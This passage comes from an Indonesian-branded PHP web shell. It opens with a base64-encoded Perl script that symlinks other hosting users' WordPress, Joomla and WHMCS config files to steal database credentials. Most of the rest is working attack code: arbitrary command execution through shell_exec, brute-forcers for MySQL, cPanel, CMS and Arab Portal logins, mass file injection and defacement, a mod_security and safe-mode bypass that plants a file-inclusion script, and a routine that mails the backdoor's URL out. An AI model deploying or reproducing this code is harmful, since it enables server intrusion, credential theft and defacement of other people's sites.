dGl0bGU+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPg0KLm5ld1N0eWxlMSB7DQogZm9udC1mYW1pbHk6IFRhaG9tYTsNCiBmb250LXNpemU6IHgtc21hbGw7DQogZm9udC13ZWlnaHQ6IGJvbGQ7DQogY29sb3I6ICMwMEZGRkY7DQogIHRleHQtYWxpZ246IGNlbnRlcjsNCn0NCjwvc3R5bGU+DQo8L2hlYWQ+DQonOw0Kc3ViIGxpbHsNCiAgICAoJHVzZXIpID0gQF87DQokbXNyID0gcXh7cHdkfTsNCiRrb2xhPSRtc3IuIi8iLiR1c2VyOw0KJGtvbGE9fnMvXG4vL2c7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ3ZiLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywka29sYS4nYW51LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRrb2xhLidhbnUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJGtvbGEuJ2FudS50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywka29sYS4nd3AudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvd3Avd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJGtvbGEuJ3dwLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLXdobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLidqb29tbGEudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nam9vbWxhLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJGtvbGEuJzIxLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRrb2xhLicyMi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRrb2xhLicyMy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJGtvbGEuJzI0LnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywka29sYS4nMjUudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRrb2xhLicyNi50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRrb2xhLicyNy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRrb2xhLicyOC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywka29sYS4nMjkudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRrb2xhLiczMC50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9wb3J0YWwvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvY2xpZW50YXJlYS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3NlY3VyZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3Byb2R1Y3QvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVyL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvbWVtYmVycy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL2NsaWVudGUvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9jbGllbnRlcy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL3RyaWFsL2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQpzeW1saW5rKCcvaG9tZS8nLiR1c2VyLicvcHVibGljX2h0bWwvaG9zdGluZy9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZS9jb25maWd1cmF0aW9uLnBocCcsJGtvbGEuJ3dobWNzLnR4dCcpOw0Kc3ltbGluaygnL2hvbWUvJy4kdXNlci4nL3B1YmxpY19odG1sL21hbmFnZXIvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9teWFjY291bnQvY29uZmlndXJhdGlvbi5waHAnLCRrb2xhLid3aG1jcy50eHQnKTsNCnN5bWxpbmsoJy9ob21lLycuJHVzZXIuJy9wdWJsaWNfaHRtbC9hY2NvdW50L2NvbmZpZ3VyYXRpb24ucGhwJywka29sYS4nd2htY3MudHh0Jyk7DQoNCn0NCg0KaWYgKCRFTlZ7J1JFUVVFU1RfTUVUSE9EJ30gZXEgJ1BPU1QnKSB7DQogIHJlYWQoU1RESU4sICRidWZmZXIsICRFTlZ7J0NPTlRFTlRfTEVOR1RIJ30pOw0KfSBlbHNlIHsNCiAgJGJ1ZmZlciA9ICRFTlZ7J1FVRVJZX1NUUklORyd9Ow0KfQ0KQHBhaXJzID0gc3BsaXQoLyYvLCAkYnVmZmVyKTsNCmZvcmVhY2ggJHBhaXIgKEBwYWlycykgew0KICAoJG5hbWUsICR2YWx1ZSkgPSBzcGxpdCgvPS8sICRwYWlyKTsNCiAgJG5hbWUgPX4gdHIvKy8gLzsNCiAgJG5hbWUgPX4gcy8lKFthLWZBLUYwLTldW2EtZkEtRjAtOV0pL3BhY2soIkMiLCBoZXgoJDEpKS9lZzsNCiAgJHZhbHVlID1+IHRyLysvIC87DQogICR2YWx1ZSA9fiBzLyUoW2EtZkEtRjAtOV1bYS1mQS1GMC05XSkvcGFjaygiQyIsIGhleCgkMSkpL2VnOw0KICAkRk9STXskbmFtZX0gPSAkdmFsdWU7DQp9DQppZiAoJEZPUk17cGFzc30gZXEgIiIpew0KcHJpbnQgJw0KPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8aDE+PGk+PHU+LS09W1sgRE0gVEU0TSBdXT0tLTwvdT48L2k+PC9oMT4NCjxiciAvPg0KPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCjx0ZXh0YXJlYSBuYW1lPSJwYXNzIiBzdHlsZT0iYm9yZGVyOjJweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDU0M3B4OyBoZWlnaHQ6IDQyMHB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRiIgID48L3RleHRhcmVhPjxiciAvPg0KJm5ic3A7PHA+DQo8aW5wdXQgbmFtZT0idGFyIiB0eXBlPSJ0ZXh0IiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDIxMnB4OyBiYWNrZ3JvdW5kLWNvbG9yOiMwQzBDMEM7IGZvbnQtZmFtaWx5OlRhaG9tYTsgZm9udC1zaXplOjhwdDsgY29sb3I6I0ZGRkZGRjsgIiAgLz48YnIgLz4NCiZuYnNwOzwvcD4NCjxwPg0KPGlucHV0IG5hbWU9IlN1Ym1pdDEiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IiBIQUpBUiBDT1kgIiBzdHlsZT0iYm9yZGVyOjFweCBkb3R0ZWQgIzAwMzMwMDsgd2lkdGg6IDk5OyBmb250LWZhbWlseTpUYWhvbWE7IGZvbnQtc2l6ZToxMHB0OyBjb2xvcjojRkZGRkZGOyB0ZXh0LXRyYW5zZm9ybTp1cHBlcmNhc2U7IGhlaWdodDoyMzsgYmFja2dyb3VuZC1jb2xvcjojMEMwQzBDIiAvPjwvcD4NCjwvZm9ybT48YnIgLz48YnIgLz4nOw0KfWVsc2V7DQpAbGluZXMgPTwkRk9STXtwYXNzfT47DQokeSA9IEBsaW5lczsNCm9wZW4gKE1ZRklMRSwgIj50YXIudG1wIik7DQpwcmludCBNWUZJTEUgInRhciAtY3pmICIuJEZPUk17dGFyfS4iLnRhciAiOw0KZm9yICgka2E9MDska2E8JHk7JGthKyspew0Kd2hpbGUoQGxpbmVzWyRrYV0gID1+IG0vKC4qPyk6eDovZyl7DQombGlsKCQxKTsNCnByaW50IE1ZRklMRSAkMS4iLnR4dCAiOw0KZm9yKCRrZD0xOyRrZDwxODska2QrKyl7DQpwcmludCBNWUZJTEUgJDEuJGtkLiIudHh0ICI7DQp9DQp9DQogfQ0KcHJpbnQnPGJvZHkgY2xhc3M9Im5ld1N0eWxlMSIgYmdjb2xvcj0iIzAwMDAwMCI+DQo8cD5TRUxFU0FJIEJPUyB8fCBDRUsgRk9MREVSIElNQUdFUzwvcD4NCjxwPiZuYnNwOzwvcD4nOw0KaWYoJEZPUk17dGFyfSBuZSAiIil7DQpvcGVuKElORk8sICJ0YXIudG1wIik7DQpAbGluZXMgPTxJTkZPPiA7DQpjbG9zZShJTkZPKTsNCnN5c3RlbShAbGluZXMpOw0KcHJpbnQnPHA+PGEgaHJlZj0iJy4kRk9STXt0YXJ9LicudGFyIj48Zm9udCBjb2xvcj0iIzAwRkYwMCI+DQo8c3BhbiBzdHlsZT0idGV4dC1kZWNvcmF0aW9uOiBub25lIj5Eb3dubG9hZCBUYXIgRmlsZTwvc3Bhbj48L2ZvbnQ+PC9hPjwvcD4nOw0KfQ0KfQ0KIHByaW50Ig0KPC9ib2R5Pg0KPC9odG1sPiI7";
1795 $write = fwrite($f2, base64_decode($sml_perl));
1796 if ($write) {
1797 @chmod('image/anu.pl', 0755);
1798 }
1799 echo "<center><iframe src=image/anu.pl width=96% height=126% frameborder=0></iframe></div>";
1800 }
1801}
1802## ***** x=dmwp ***** ##
1803elseif (isset($_GET['x']) && ($_GET['x'] == 'dmwp')) {
1804 // wordpress bruteforce
1805 // wordpress index changer
1806 // wordpress password changer
1807 echo '<center><br/><br/><img src="http://s.wordpress.org/about/images/logos/wordpress-logo-hoz-rgb.png"><br/><br/> <nobr><b><span class="b7">O=:[ WORDPRESS HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1808<div id="menu" align="center"><table><tr>
1809<td align=center><b><a href="?dm=' . $pwd . '&x=wp1">WP BRUTEFORCE</a></b></td>
1810<td align=center><b><a href="?dm=' . $pwd . '&x=wp2">WP AUTO DEFACE</a></b></td>
1811<td align=center><b><a href="?dm=' . $pwd . '&x=wp3">WP PASSWORD CHANGER</a></b></td>
1812</tr></table></div><br/>';
1813}
1814## ***** x=dmvb ***** ##
1815elseif (isset($_GET['x']) && ($_GET['x'] == 'dmvb')) {
1816 // vbullettin index changer
1817 // vbulletin password changer
1818 echo '<center><br/><br/>
1819<img src="http://forum.paradoxplaza.com/forum/images/mobile/vbulletin-logo.png"><br/><br/><nobr><b><span class="b7">O=:[ VBULLETIN HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1820<div id="menu" align="center"><table><tr>
1821<td align=center><b><a href="?dm=' . $pwd . '&x=vb1">VB INDEX CHANGER</a></b></td>
1822<td align=center><b><a href="?dm=' . $pwd . '&x=vb2">VB PASSWORD CHANGER</a></b></td>
1823</tr></table></div><br/>';
1824}
1825## ***** x=dmjm ***** ##
1826elseif (isset($_GET['x']) && ($_GET['x'] == 'dmjm')) {
1827 // joomla bruteforce
1828 // exploit joomla jce uploader
1829 // joomla password changer
1830 echo '<center><br/><br/><img src="http://www.payingdialer.com/images/joomla-logo.png"><br/><br/> <nobr><b><span class="b7">O=:[ JOOMLA HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1831<div id="menu" align="center"><table><tr>
1832<td align=center><b><a href="?dm=' . $pwd . '&x=jm1">BRUTEFORCE LOGIN</a></b></td>
1833<td align=center><b><a href="?dm=' . $pwd . '&x=jm2">INDEX DEFACE</a></b></td>
1834<td align=center><b><a href="?dm=' . $pwd . '&x=jm3">JCE UPLOADER</a>
1835</b></td>
1836<td align=center><b><a href="?dm=' . $pwd . '&x=jm4">PASSWORD CHANGER</a></b></td>
1837</tr></table></div><br/>';
1838}
1839## ***** x=whmcs2 ***** ##
1840elseif (isset($_GET['x']) && ($_GET['x'] == 'whmcs2')) {
1841 // whmcs inject shell
1842 // whmcs bypass security token
1843 // whmcs password changer
1844 // whmcs auto exploiter
1845 echo '<center><br/><br/><img src="http://ben90.com/wp-content/uploads/2009/07/whmcs-logo.gif"><br/><br/><nobr><b><span class="b7">O=:[ WHMCS HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1846<div id="menu" align="center"><table><tr>
1847<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs1">GRAB PASSWORD CLIENT</a></b></td>
1848<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs2">INJECT SHELL</a></b></td>
1849<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs3">PASSWORD CHANGER</a></b></td>
1850<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs4">BYPASS AUTH LOGIN</a></b></td>
1851</tr></table></div><br/>
1852<div id="menu" align="center"><table><tr>
1853<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs5">WHMCS 5.2.7 [php]</a></b></td>
1854<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs6">WHMCS 5.2.7 [python]</a></b></td>
1855<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs7">WHMCS 5.2.8 [php]</a></b></td>
1856<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs8">WHMCS 5.2.8 [python]</a></b></td>
1857</tr></table></div><br/>
1858
1859<div id="menu" align="center"><table><tr>
1860<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs9">CHECK LICENSE & VERSION</a></b></td>
1861<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs10">v5.2.7 VULN SCANNER</a></b></td>
1862<td align=center><b><a href="?dm=' . $pwd . '&x=dmwhmcs11">SCAN CMS WHMCS</a></b></td>
1863</table></div><br/><br/> ';
1864}
1865## ***** x=cpanel ***** ##
1866elseif (isset($_GET['x']) && ($_GET['x'] == 'cpanel')) {
1867 // cpanel bruteforce
1868 // cpanel mass deface
1869 // cpanel bruteforce using config
1870 echo '<center><br/><br/><img src="http://earthnexus.com/images/cpanel_logo.gif"><br/><br/> <nobr><b><span class="b7">O=:[ CPANEL HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1871<div id="menu" align="center"><table><tr>
1872<td align=center><b><a href="?dm=' . $pwd . '&x=cp1">BRUTEFORCE CP LOGIN</a></b></td>
1873<td align=center><b><a href="?dm=' . $pwd . '&x=cp2">BRUTEFORCE CP AUTO DEFACE</a></b></td>
1874<td align=center><b><a href="?dm=' . $pwd . '&x=cp3">BRUTEFORCE CONFIG CP </a></b></td>
1875
1876</tr></table></div><br/>';
1877}
1878## ***** x=iis7 ***** ##
1879elseif (isset($_GET['x']) && ($_GET['x'] == 'iis7')) {
1880 echo '<center><br/><br/><img src="http://www.codeblog.co.uk/wp-content/uploads/2010/06/iis7-300x215.jpg"><br/><br/> <nobr><b><span class="b7">O=:[ WINDOWS IIS7.5 HACK TOOLS ]:=O</span></b></nobr><br/><br/>
1881<div id="menu" align="center"><table><tr>
1882
1883<td align=center><b><a href="?dm=' . $pwd . '&x=iis7httpd">HTTPD EXPLOIT</a></b></td>
1884<td align=center><b><a href="?dm=' . $pwd . '&x=iis7port">PORT EXPLOIT</a></b></td>
1885</tr></table></div><br/>';
1886}
1887# x=posisi
1888elseif (isset($_GET['x']) && ($_GET['x'] == 'posisi')) {
1889 function curPageURL() {
1890 $pageURLe = 'http';
1891 if ($_SERVER["HTTPS"] == "on") {
1892 $pageURL.= "s";
1893 }
1894 $pageURLe.= "://";
1895 if ($_SERVER["SERVER_PORT"] != "80") {
1896 $pageURLe.= $_SERVER["SERVER_NAME"] . ":" . $_SERVER["SERVER_PORT"] . $_SERVER["REQUEST_URI"];
1897 } else {
1898 $pageURLe.= $_SERVER["SERVER_NAME"] . $_SERVER["REQUEST_URI"];
1899 }
1900 return $pageURLe;
1901 }
1902 $votremail = $_SERVER['SERVER_ADMIN'];
1903 $objet = 'BACKDOOR SHELL';
1904 $message = curPageURL();
1905 $headers = 'From:' . $votremail . "
1906" . 'To:' . $destinataire . "
1907" . 'Subject:' . $objet . "
1908" . 'Content-type:text/plain;charset=iso-8859-1' . "
1909" . 'Sent:' . date('l, F d, Y H:i');
1910 if (mail($destination, $objet, $message, $headers)) {
1911 echo "<br><center><b></b><br/><p><b>[+] $destination [+]</b><center>";
1912 } else {
1913 echo "<br><center><font size=4 color=red>Error Saving Backdoor</font><center>";
1914 }
1915} else if (isset($_POST['executecmd'])) {
1916 $check = shell_exec($_POST['mycmd']);
1917 echo "<textarea cols=120 rows=20 class=box>" . $check . "</textarea>";
1918} elseif (isset($_GET['x']) && ($_GET['x'] == 'inject')) {
1919?>
1920<center><table id="margins" >
1921<tr>
1922<form method='POST'><input type="hidden" name="injector"/>
1923<tr><td width="30" class="title">
1924DIR : <input class="inputz" name="pathtomass" value="<?php echo getcwd() . $SEPARATOR; ?>"/></td></tr>
1925<tr><td class="title">
1926Mode : <select class="inputz" name="mode" style="width:130px;">
1927<option value="Apender">SEMI INJECT</option>
1928<option value="Overwriter">FULL Inject</option>
1929</select></td></tr>
1930<tr><td class="title">
1931File Type : <input type="text" class="inputz" name="filetype" value=".php" onBlur="if(this.value=='')this.value='.php';"/></td></tr>
1932<tr><td colspan="2">
1933<textarea name="injectthis" cols="110" rows="10" class="inputz">
1934<?php echo base64_decode("PGh0bWw+DQo8aGVhZD48dGl0bGU+Li9INENLM0QgQlkgRzRudDNuRzNyejwvdGl0bGU+PC9oZWFkPg0KPGJvZHk+DQpURVJJTUEgS0FTSUggR1VFIEdBTlRFTkcgOnYNCjwvYm9keT4NCjwvaHRtbD4="); ?>
1935</textarea></td></tr>
1936<tr><td rowspan="2">
1937<input style="margin : 20px; margin-left: 390px; padding : 10px; width: 100px;" type="submit" class="inputz" value=" INJECT CODE :P "/></td></tr>
1938</form></table></center>
1939
1940
1941
1942<?php
1943}
1944# x=bforce1
1945elseif (isset($_GET['x']) && ($_GET['x'] == 'bruteforce')) {
1946 $f = @fopen('users.txt', 'w');
1947 if (!$users = get_users()) {
1948 echo "<center><font face=tahoma size=-2 color=red>" . $lang[$language . '_text96'] . "</font></center>";
1949 } else {
1950 foreach ($users as $user) {
1951 @fwrite($f, $user);
1952 @fwrite($f, "
1953");
1954 }
1955 }
1956 echo '<br><center><font size=3 color=green>[+] BUKA users.txt <a href=dmshell.txt target=blank>_DISINI_</a> COPY & PASTE DI KOLOM USER [+]</font></center><BR>';
1957?>
1958
1959<form method="POST" target="_self">
1960
1961<input name="page" type="hidden" value="find">
1962<table width="33%" cellpadding="3" cellspacing="1" align="center">
1963<tr>
1964<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1965<strong>User :</strong></td>
1966<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="usernames"></textarea></strong></td>
1967</tr>
1968<tr>
1969<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1970<strong>Pass :</strong></td>
1971<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea class="inputz" cols="40" rows="10" name="passwords"></textarea></strong></td>
1972</tr>
1973<tr>
1974<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
1975<strong>Type :</strong></td>
1976<td valign="top" bgcolor="#151515" colspan="5">
1977<span class="style2"><strong>Simple : </strong> </span>
1978<strong>
1979<input class="inputz" type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
1980<font class="style2"><strong>/etc/passwd : </strong> </font>
1981<strong>
1982<input class="inputz" type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
1983</strong>
1984</span>
1985</td></tr>
1986<tr>
1987<td valign="top" bgcolor="#151515" style="width: 139px"></td>
1988<td valign="top" bgcolor="#151515" colspan="5"><strong><input class="inputz" type="submit" value="_START CRACK _"></strong>
1989</td><tr></form>
1990
1991
1992<?php
1993 if (isset($_POST['usernames']) && isset($_POST['passwords'])) {
1994 if ($_POST['type'] == 'passwd') {
1995 $e = explode("
1996", $_POST['usernames']);
1997 foreach ($e as $value) {
1998 $k = explode(":", $value);
1999 $username.= $k['0'] . " ";
2000 }
2001 } elseif ($_POST['type'] == 'simple') {
2002 $username = str_replace("
2003", ' ', $_POST['usernames']);
2004 }
2005 $a1 = explode(" ", $username);
2006 $a2 = explode("
2007", $_POST['passwords']);
2008 $id2 = count($a2);
2009 $ok = 0;
2010 foreach ($a1 as $user) {
2011 if ($user !== '') {
2012 $user = trim($user);
2013 for ($i = 0;$i <= $id2;$i++) {
2014 $pass = trim($a2[$i]);
2015 if (@mysql_connect('localhost', $user, $pass)) {
2016 echo "[+] Username ( <b><font color=green>$user</font></b> ) Password ( <b><font color=green>$pass</font></b> ) [+]<br />";
2017 $ok++;
2018 }
2019 }
2020 }
2021 }
2022 echo "<hr><b>DAPAT <font color=green>$ok</font> Cpanel</b>";
2023 echo "<center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
2024 exit;
2025 }
2026}
2027# x=safemodeoff
2028elseif (isset($_GET['x']) && ($_GET['x'] == 'safemodeoff')) {
2029 $file_pointer = fopen(".htaccess", "w+");
2030 fwrite($file_pointer, "<IfModule mod_security.c>
2031SecFilterEngine Off
2032SecFilterScanPOST Off
2033</IfModule>");
2034 $file_pointer = fopen("ini.php", "w+");
2035 fwrite($file_pointer, "<?
2036echo ini_get(\"safe_mode\");
2037echo ini_get(\"open_basedir\");
2038include(\$_GET[\"file\"]);
2039ini_restore(\"safe_mode\");
2040ini_restore(\"open_basedir\");
2041echo ini_get(\"safe_mode\");
2042echo ini_get(\"open_basedir\");
2043include(\$_GET[\"ss\"]);
2044?>");
2045 $file_pointer = fopen("php.ini", "w+");
2046 fwrite($file_pointer, "safe_mode = OFF");
2047 fclose($file_pointer);
2048 echo "<center><br/><br/><nobr><b><span class='b7'>O=:[ BYPASS SAFE MODE ]:=O</span></b></nobr><br/><br/><nobr><span class='b9'>Generate htaccess & ini.php & php.ini Successfully :)</span></nobr><br/><br/><br/></center>";
2049?>
2050
2051<?php
2052}
2053// x=arabportal
2054elseif (isset($_GET['x']) && ($_GET['x'] == 'arabportal')) {
2055?>
2056<form action="?dm=<?php echo $pwd; ?>&x=arabportal" method="post">
2057
2058 <?php
2059 echo "<br/><br/><nobr><b><span class='b7'>O=:[ BRUTEFORCE ARAB PORTAL ]:=O</span></b></nobr><br/><br/> <form method='POST'>
2060<p align='center' dir='ltr'> <input type='text' value='http://target.com/arabportal/' name='target' size='45'>
2061<input type='text' value='admin' name='username'>
2062<br><input type='submit' value='Start Brute'>
2063</p>";
2064 $site = $_POST['target'] . "/admin/";
2065 $username = $_POST['username'];
2066 # Passwords
2067 $passwords = array('123456', '123654', '123123', '112233', '123321', '102030', '123451', '123456789', '654321', '654123', '123qwe', 'qwerty', 'azerty', '123450', '123412', '121314', '132132', '132123', '123132', '123012');
2068 function brute($site, $username, $password) {
2069 $curl = curl_init();
2070 curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
2071 curl_setopt($curl, CURLOPT_FOLLOWLOCATION, 1);
2072 curl_setopt($curl, CURLOPT_URL, $site);
2073 curl_setopt($curl, CURLOPT_POSTFIELDS, "user_name={$username}&user_pass={$password}");
2074 @curl_setopt($curl, CURLOPT_COOKIEJAR, "cookie.txt");
2075 @curl_setopt($curl, CURLOPT_COOKIEFILE, "cookie.txt");
2076 $brute = curl_exec($curl);
2077 if (eregi('<p align="center"><b><font size="4" color="#FFFFFF">', $brute)) {
2078 echo "<center><b><font face='Tahoma' size='2'>[+] Cracked Username
2079: <font color='#FF0000'>{$username}</font> & Password : <font color='#FF0000'>{$password}</font></font></b>";
2080 }
2081 return $brute;
2082 }
2083 foreach ($passwords as $password) {
2084 brute($site, $username, $password);
2085 }
2086 echo "</form>";
2087?>
2088
2089 <?php
2090}
2091// x=about
2092elseif (isset($_GET['x']) && ($_GET['x'] == 'about')) {
2093?>
2094<form action="?dm=<?php echo $pwd; ?>&x=about" method="post">
2095
2096<?php
2097 echo "<div align='center'><br><br>
